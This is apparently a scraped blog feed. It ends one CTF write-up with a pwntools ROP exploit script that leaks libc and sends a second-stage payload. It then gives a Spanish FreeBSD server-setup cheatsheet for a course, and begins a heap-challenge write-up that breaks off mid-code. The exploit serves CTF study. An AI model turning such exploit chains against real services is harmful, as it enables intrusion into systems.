<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">six_pop</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">six_pop</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">two_pop</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s">'puts'</span><span class="p">])</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">plt</span><span class="p">[</span><span class="s">'puts'</span><span class="p">])</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'main'</span><span class="p">])</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">"exit"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"psuedoshell$"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"psuedoshell$"</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
<span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x875a0</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"[*] leaked puts on libc: </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"[*] libc base address: </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"[*] Setting up for the second stage"</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">481</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">four_pop</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'</span><span class="se">\\</span><span class="s">'</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">)</span>
<span class="c1">#payload += b'AAAABBBB'
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x1b75aa</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0xe6c81</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'main'</span><span class="p">])</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">"exit"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>Since was <code class="highlighter-rouge">september 18</code>, I didn’t have many time to solve all the challenges, but, the ones that I could solve, were awesome, thanks for the challenges to the organizers and the sponsors.</p>
<p>Hope that this make sense,</p>
<p>cheers!</p>
<center>kjj</center>f4d3SummaryTEL-342 cheatsheet2021-09-10T01:07:00-03:002021-09-10T01:07:00-03:00https://f4d3.io/tel-342-cheatsheet<p>Hola a todas las personas que estén leyendo esto.
Esta guía pretende ser de ayuda para todas las personas que cursan TEL-342, siendo ayudante, este es un proyecto que tenía ganas de sacar hace un buen tiempo :D</p>
<p><img src="assets/2021_09_10_01_09_36.png" alt="" /></p>
<h1 id="index">Index</h1>
<ul>
<li><a href="#index">Index</a></li>
<li><a href="#first-steps">First steps</a></li>
<li><a href="#llegada-a-proxmox">Llegada a proxmox</a></li>
<li><a href="#vm-install">VM install</a></li>
<li><a href="#configuración">Configuración</a></li>
<li><a href="#primeros-servicios">Primeros servicios</a></li>
<li><a href="#dns">DNS</a></li>
<li><a href="#web-server">Web server</a></li>
<li><a href="#base-de-datos">Base de datos</a></li>
<li><a href="#integración">Integración</a></li>
</ul>
<h1 id="first-steps">First steps</h1>
<h2 id="llegada-a-proxmox">Llegada a proxmox</h2>
<p>La mayoría de las experiencias, se utiliza el <code class="highlighter-rouge">hipervisor</code> de la sala <code class="highlighter-rouge">B-213</code>, utilizando el software <code class="highlighter-rouge">proxmox</code> como gestor de máquinas virtuales.
Lamentable(afortunada)mente, este software no es accesible desde fuera del departamento de <code class="highlighter-rouge">ELO</code>. por lo que para llegar a el, debemos hacer un túnel.</p>
<p><img src="assets/2021_09_10_01_16_40.png" alt="" /></p>
<p>Una vez en el portal, ingresar con las credenciales que se les hizo llegar.</p>
<p><img src="assets/2021_09_10_01_20_22.png" alt="" /></p>
<p>Con esto, podemos crear nuestra primera <code class="highlighter-rouge">VM</code></p>
<p><img src="assets/2021_09_10_01_19_14.png" alt="" /></p>
<h2 id="vm-install">VM install</h2>
<p>Aquí es importante tener un orden.</p>
<ul>
<li>Las máquinas creadas, deben tener un nombre y comentario claro y correcto <strong>O LOS RECURSOS SERÁN BORRADOS SIN AVISO</strong>.</li>
</ul>
<p><img src="assets/2021_09_10_01_21_41.png" alt="" /></p>
<p><img src="assets/2021_09_10_01_22_19.png" alt="" /></p>
<p><img src="assets/2021_09_10_01_22_51.png" alt="" /></p>
<p><img src="assets/2021_09_10_01_22_56.png" alt="" /></p>
<p><img src="assets/2021_09_10_01_23_08.png" alt="" /></p>
<p><img src="assets/2021_09_10_01_23_41.png" alt="" /></p>
<p>Notar que al ser servidores sin <code class="highlighter-rouge">GUI</code>, el uso de recursos es mínimo, no utilizar recursos excesivos.</p>
<p><img src="assets/2021_09_10_01_26_16.png" alt="" /></p>
<p>En la pestaña <code class="highlighter-rouge">"console"</code>, podremos tener nuestra máquina booteando y lista para ser instalada</p>
<p><img src="assets/2021_09_10_01_27_01.png" alt="" /></p>
<p><img src="assets/2021_09_10_01_28_22.png" alt="" /></p>
<h2 id="configuración">Configuración</h2>
<p>Una vez la máquina esté instalada, lo primero que debemos hacer, es tener un ambiente cómodo, aprovechar el <code class="highlighter-rouge">DHCP</code> para instalar todos los paquetes necesarios para hacer la tarea de configuración múcho más fácil, ej : <code class="highlighter-rouge">bash, vim, nano, sed, etc</code>.</p>
<p>Si bien, en el laboratorio se les <strong>exige tener</strong> <code class="highlighter-rouge">ip estática</code>, en una primera instancia se puede utilizar <code class="highlighter-rouge">DHCP</code> para dejar la VM con los programas básicos para lograr una fácil configuración.</p>
<p><img src="assets/2021_09_10_01_49_54.png" alt="" /></p>
<p>Programas, archivos y directorios importantes en freebsd</p>
<ul>
<li><code class="highlighter-rouge">/etc/</code>: Archivos de configuración</li>
<li><code class="highlighter-rouge">/etc/rc.conf</code>: Archivo de inicialización del sistema</li>
<li><code class="highlighter-rouge">/usr/local</code>: Directorio de instalación de programas</li>
<li><code class="highlighter-rouge">pkg</code>: Gestor de paquetes de <code class="highlighter-rouge">freebsd</code> i.e: <code class="highlighter-rouge">pkg install bash</code></li>
<li>freebsd <strong>NO USA SYSTEMD</strong>, por lo que haremos todo con <code class="highlighter-rouge">service</code>, por ejemplo: <code class="highlighter-rouge">service sshd start</code>, para iniciar el servidor de <code class="highlighter-rouge">ssh</code>.</li>
</ul>
<p>Un ejemplo de configuración básica de <code class="highlighter-rouge">freebsd</code> con <code class="highlighter-rouge">ip estática</code> es la siguiente</p>
<p><img src="assets/2021_09_10_02_01_49.png" alt="" /></p>
<p>Se recomienda ahora, jugar con la máquina y la línea de comandos (RTFM) :D</p>
<p>Como ejercicio, llegar a su máquina del proxmox (SSH), via <code class="highlighter-rouge">aragorn</code>.</p>
<h1 id="primeros-servicios">Primeros servicios</h1>
<p>Con una previamente creada, se instalarán varios servicios los cuales serán utilizados a lo largo del semestre.</p>
<h2 id="dns">DNS</h2>
<p>Instalar el servidor <code class="highlighter-rouge">DNS</code>, se recomienda tener un <code class="highlighter-rouge">TLD</code> del modo <code class="highlighter-rouge">.local</code>, para así no tener problemas con resoluciones de nombre hacia internet.</p>
<p>Lo primero es instalar el <code class="highlighter-rouge">servicio de DNS</code>.</p>
<p><img src="assets/2021_10_03_16_53_30.png" alt="" /></p>
<p>Configuraciones importantes del servidor <code class="highlighter-rouge">DNS</code></p>
<ul>
<li><code class="highlighter-rouge">/usr/local/etc/namedb/named.conf</code>: Configuración del servicio DNS</li>
<li><code class="highlighter-rouge">/usr/local/etc/namedb/dynamic/</code>: Donde guardaremos los archivos de zona (investigar qué son)</li>
</ul>
<p>Actualizar la configuración por defecto de <code class="highlighter-rouge">bind</code> para que conozca nuestro nuevo archivo de <code class="highlighter-rouge">zona</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>root@superVM /usr/local/etc/namedb]# <span class="nb">tail </span>named.conf
masters <span class="o">{</span>
192.168.1.1<span class="p">;</span>
<span class="o">}</span><span class="p">;</span>
<span class="o">}</span><span class="p">;</span>
<span class="k">*</span>/
zone <span class="s2">"ayudante.local"</span> <span class="o">{</span>
<span class="nb">type </span>master<span class="p">;</span>
file <span class="s2">"/usr/local/etc/namedb/dynamic/db.ayudante.local"</span><span class="p">;</span>
<span class="o">}</span><span class="p">;</span>
<span class="o">[</span>root@superVM /usr/local/etc/namedb]#
</code></pre></div></div>
<p>Luego, creamos nuestro archivo de zona, cosas importantes a considerar:</p>
<ul>
<li>Hay muchos tipos de <code class="highlighter-rouge">registros DNS</code>, i.e: MX, AAAA, CNAME, etc. Se deja de tarea investigar.</li>
<li>El serial es un número el cual se cambia cada vez que se realiza una modificación en el archivo de zona. Esto sirve para tener un orden en caso de tener más de un servidor <code class="highlighter-rouge">DNS</code> (master, slave).</li>
<li>Es importante luego editar el <code class="highlighter-rouge">/etc/hosts</code> y el <code class="highlighter-rouge">/etc/resolv.conf</code>, para que utilicemos nuestro propio servidor <code class="highlighter-rouge">DNS</code> como servidor principal.</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>root@superVM /usr/local/etc/namedb]# <span class="nb">cat </span>dynamic/db.ayudante.local
<span class="nv">$TTL</span> 604800
@ IN SOA ns1.ayudante.local. admin.ayudante.local. <span class="o">(</span>
2018101902<span class="p">;</span> Serial
3H<span class="p">;</span> Refresh
15M<span class="p">;</span> Retry
2W<span class="p">;</span> Expiry
1D <span class="o">)</span><span class="p">;</span> Minimum
<span class="p">;</span> name servers - NS records
ayudante.local. IN NS ns1.ayudante.local.
<span class="p">;</span> IN NS ns2.cloudwerk.us.
<span class="p">;</span> name servers - A records
ns1 IN A 172.16.0.231
testweb1 IN A 172.16.0.231
testweb2 IN A 172.16.0.231
testdb IN A 172.16.0.231
<span class="p">;</span>ns2.cloudwerk.us. IN A 142.93.201.231
<span class="p">;</span> other servers - A records
<span class="o">[</span>root@superVM /usr/local/etc/namedb]#
</code></pre></div></div>
<p>Señalarle el nombre a nuestra máquina para cuando resuelva localmente.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>root@superVM /usr/local/etc/namedb]# <span class="nb">cat</span> /etc/hosts
<span class="c"># $FreeBSD$</span>
::1 localhost localhost.my.domain
127.0.0.1 localhost localhost.my.domain ns1.ayudante.local ayudante.local
</code></pre></div></div>
<p>Con esto, reiniciando el servicio, deberíamos tener un mínimo <code class="highlighter-rouge">bind server</code> andando en nuestra máquina local</p>
<p><img src="assets/2021_10_03_17_18_29.png" alt="" /></p>
<p><strong>Se deja como ejercicio entender y crear los archivos de <code class="highlighter-rouge">zona inversa</code></strong></p>
<h2 id="web-server">Web server</h2>
<p>Las opciones de servidores web son <code class="highlighter-rouge">apache, nginx, node</code>, aunque para efectos del curso, utilizaremos <code class="highlighter-rouge">nginx</code>, por su fácil configuración y uso.</p>
<p>Primero instalar y agregar la directiva al <code class="highlighter-rouge">rc.conf</code></p>
<p><img src="assets/2021_10_04_03_54_47.png" alt="" /></p>
<p><img src="assets/2021_10_04_03_57_12.png" alt="" /></p>
<p>Las configuraciones importantes de nginx son</p>
<ul>
<li><code class="highlighter-rouge">/usr/local/etc/nginx/nginx.conf</code>: donde se configuran los virtualhosts (Investigar qué son y de qué sirven los <code class="highlighter-rouge">virtualhosts</code>)</li>
</ul>
<p>Para poder correr una pequeña aplicación web, se utilizará <code class="highlighter-rouge">php</code>.</p>
<p><img src="assets/2021_10_04_04_53_11.png" alt="" /></p>
<p>**Investigar como acoplar <code class="highlighter-rouge">php</code> y nginx.</p>
<h2 id="base-de-datos">Base de datos</h2>
<p>Como motor de base de datos a modo de <code class="highlighter-rouge">PoC</code>, utilizaremos <code class="highlighter-rouge">mysql</code>.<br />
Instalar <code class="highlighter-rouge">mysql</code>, agregar la respectiva directiva a <code class="highlighter-rouge">rc.conf</code> e iniciar el servicio.</p>
<p><img src="assets/2021_10_04_04_54_07.png" alt="" /></p>
<p><img src="assets/2021_10_04_04_56_32.png" alt="" /></p>
<p>Con esto, podremos entrar con usuarios por defecto a nuestra <code class="highlighter-rouge">base de datos</code></p>
<p><img src="assets/2021_10_04_04_56_55.png" alt="" /></p>
<p>Crear una tabla y agregar un par de entradas a modo de <code class="highlighter-rouge">poc</code></p>
<p><img src="assets/2021_10_04_04_59_15.png" alt="" /></p>
<h2 id="integración">Integración</h2>
<p>Se deberá crear una pequeña aplicación web, la cual use <code class="highlighter-rouge">php</code> para obtener valores de la base de datos y servir todo a través de <code class="highlighter-rouge">nginx</code>.</p>
<h1 id="monitoreo">Monitoreo</h1>
<h2 id="iperf">IPERF</h2>
<p>Principalmente utilizado para medir tasa de transferencia</p>
<p>Instalación:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pkg <span class="nb">install </span>iperf
</code></pre></div></div>
<p>Ejemplo de uso:</p>
<p><img src="assets/2021_11_23_01_05_01.png" alt="" /></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>iperf <span class="nt">-h</span> <span class="c"># Para más info</span>
</code></pre></div></div>
<h2 id="snmp">SNMP</h2>
<p><strong>Simple Network Management Protocol</strong></p>
<p>Protocolo para la gestión de computadores en la red, un ejemplo de uso cotidiano de <code class="highlighter-rouge">SNMP</code> es como <code class="highlighter-rouge">VTR</code> maneja sus routers desde la <code class="highlighter-rouge">ISP</code></p>
<p><img src="assets/2021_11_23_01_07_11.png" alt="" /></p>
<p>Las estaciones de monitoreo (NMS), monitorean los agentes, mediante acceso a un <code class="highlighter-rouge">arbol</code> (Buscar <code class="highlighter-rouge">MIB</code> para más información).</p>
<ul>
<li>v1, v2, v3 con upgrades en cada versión, por ejemplo, seguridad.</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Instalacion</span>
pkg <span class="nb">install </span>net-snmp
</code></pre></div></div>
<p>Si se desea encender el <code class="highlighter-rouge">SNPM Server</code>, luego de instalar lo necesario, agregar lo siguiente al <code class="highlighter-rouge">rc.conf</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">snmpd_enable</span><span class="o">=</span><span class="s2">"YES"</span>
<span class="nv">snmpd_conffile</span><span class="o">=</span><span class="s2">"/usr/local/etc/snmpd.conf"</span>
</code></pre></div></div>
<p>Generar config básica con (ver en más profundidad esto, segúramente querrán dar permisos específicos):</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /usr/local/etc/snmpd.conf
<span class="c"># AGENT BEHAVIOUR</span>
<span class="c"># Listen for connections from the local system only</span>
agentAddress udp:161
<span class="c"># ACCESS CONTROL</span>
rocommunity public 127.0.0.1/32 <span class="c"># Cambiar a su respectiva ip</span>
server
<span class="c">###############</span>
/usr/local/rc.d/snmpd start
</code></pre></div></div>
<p>Verificar funcionamiento:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>snmpwalk <span class="nt">-v1</span> <span class="nt">-c</span> public 127.0.0.1
</code></pre></div></div>
<p><img src="assets/2021_11_23_01_41_29.png" alt="" /></p>
<h2 id="mrtg">MRTG</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pkg <span class="nb">install </span>mrtg
<span class="nb">echo</span> <span class="s1">'mrtg_daemon_enable="YES" >> /etc/rc.conf'</span>
</code></pre></div></div>
<p>Crear config inicial</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cfgmaker <span class="nt">--output</span><span class="o">=</span>/usr/local/etc/mrtg/mrtg.cfg public@127.0.0.1 <span class="c">#cambiar por su ip</span>
</code></pre></div></div>
<p>En la configuración de <code class="highlighter-rouge">mrtg</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>WorkDir: /usr/local/www/nginx
Options[_]: growright, bits
</code></pre></div></div>
<p>Realizar un crontab que updatee los valores</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crontab <span class="nt">-e</span>
0,5,10,15,20,25,30,35,40,45,50,55 <span class="k">*</span> <span class="k">*</span> <span class="k">*</span> <span class="k">*</span> /usr/local/bin/mrtg /usr/local/etc/mrtg/mrtg.cfg
</code></pre></div></div>
<p>TODO: realizar un virtualhost que apunte al <code class="highlighter-rouge">mrtg</code></p>
<p><img src="assets/2021_11_23_01_55_56.png" alt="" /></p>
<h2 id="monitoreo-1">Monitoreo</h2>
<h3 id="nagios">Nagios</h3>
<p>Nagios es un software de monitoreo muy utilizado en la industria.<br />
Su modo de operación es a modo de <code class="highlighter-rouge">master - slave</code>, donde cada <code class="highlighter-rouge">PC</code> monitoreado, tiene su agente instalado, y el servidor maestro, tiene su respectivo <code class="highlighter-rouge">SV central</code> para moonitorear los distintos <code class="highlighter-rouge">agentes</code>.</p>
<center>kjj</center>f4d3Hola a todas las personas que estén leyendo esto. Esta guía pretende ser de ayuda para todas las personas que cursan TEL-342, siendo ayudante, este es un proyecto que tenía ganas de sacar hace un buen tiempo :DTHCon21{inception}2021-06-14T01:06:00-04:002021-06-14T01:06:00-04:00https://f4d3.io/inception_thc<p>Hi everyone! Hope that everything’s doing good :D!</p>
<p>First of all, sorry for the off-time, I was getting everything ready on college in order to have time to play more ctf’s :D</p>
<p>This weekend, we participated as a team on the <code class="highlighter-rouge">THCon CTF</code>, which was very enyoyable, since it was a <code class="highlighter-rouge">24 hrs ctf</code> (I personally love 24 hrs ctf, since it is more accesible for me and my team :D).
With that said, lets see the challenge.</p>
<h1 id="summary">Summary</h1>
<p>The problem is a <code class="highlighter-rouge">classic heap</code> related challenge where we have the following options:</p>
<ul>
<li><a href="assets/inception">inception</a></li>
<li><a href="assets/libc.so.6">libc</a></li>
</ul>
<p><img src="assets/2021_06_14_01_12_29.png" alt="" /></p>
<h1 id="recon">Recon</h1>
<p>Doing a little reversing we have the following functions:</p>
<p><img src="assets/2021_06_14_01_17_28.png" alt="" /></p>
<p>Where we have the following problem on the <code class="highlighter-rouge">setup()</code> function.</p>
<p><img src="assets/2021_06_14_01_17_58.png" alt="" /></p>
<p>which is basically that we will not have <code class="highlighter-rouge">execve()</code> for us, so, no one gadgets :(.</p>
<p>The <code class="highlighter-rouge">read_int()</code> function is used to get the number from <code class="highlighter-rouge">stdin</code>, note that <code class="highlighter-rouge">read()</code> is used with a <code class="highlighter-rouge">0x28</code> buffer (this will come handy after).</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">read_int</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
<span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
<span class="n">undefined8</span> <span class="n">local_38</span><span class="p">;</span>
<span class="n">undefined8</span> <span class="n">local_30</span><span class="p">;</span>
<span class="n">undefined8</span> <span class="n">local_28</span><span class="p">;</span>
<span class="n">undefined8</span> <span class="n">local_20</span><span class="p">;</span>
<span class="n">undefined8</span> <span class="n">local_18</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
<span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
<span class="n">local_38</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">local_30</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">local_28</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">local_20</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">local_18</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="o">&</span><span class="n">local_38</span><span class="p">,</span><span class="mh">0x28</span><span class="p">);</span>
<span class="n">atoi</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">local_38</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>For the <code class="highlighter-rouge">add()</code> function, we have the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kt">void</span> <span class="n">add</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
<span class="n">uint</span> <span class="n">idx</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">size</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">chunk</span><span class="p">;</span>
<span class="n">idx</span> <span class="o">=</span> <span class="n">find_empty</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">==</span> <span class="mh">0xffffffff</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"No more space."</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Dream size: "</span><span class="p">);</span>
<span class="n">size</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">();</span>
<span class="k">if</span> <span class="p">((</span><span class="n">size</span> <span class="o"><</span> <span class="mi">1</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="mh">0x800</span> <span class="o"><</span> <span class="n">size</span><span class="p">))</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Invalid size."</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">dreams_size</span><span class="p">[(</span><span class="kt">int</span><span class="p">)</span><span class="n">idx</span><span class="p">]</span> <span class="o">=</span> <span class="n">size</span><span class="p">;</span>
<span class="n">chunk</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">((</span><span class="kt">long</span><span class="p">)</span><span class="n">size</span><span class="p">);</span>
<span class="n">dreams</span><span class="p">[(</span><span class="kt">int</span><span class="p">)</span><span class="n">idx</span><span class="p">]</span> <span class="o">=</span> <span class="n">chunk</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Dream content: "</span><span class="p">);</span>
<span class="cm">/* No null terminated string, for arbitrary read */</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">dreams</span><span class="p">[(</span><span class="kt">int</span><span class="p">)</span><span class="n">idx</span><span class="p">],(</span><span class="kt">long</span><span class="p">)</span><span class="n">size</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Dream #%d created.</span><span class="se">\n</span><span class="s">"</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">idx</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="n">find_empty</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">k</span><span class="p">;</span>
<span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">5</span> <span class="o"><</span> <span class="n">k</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">dreams</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">==</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
<span class="n">k</span> <span class="o">=</span> <span class="n">k</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
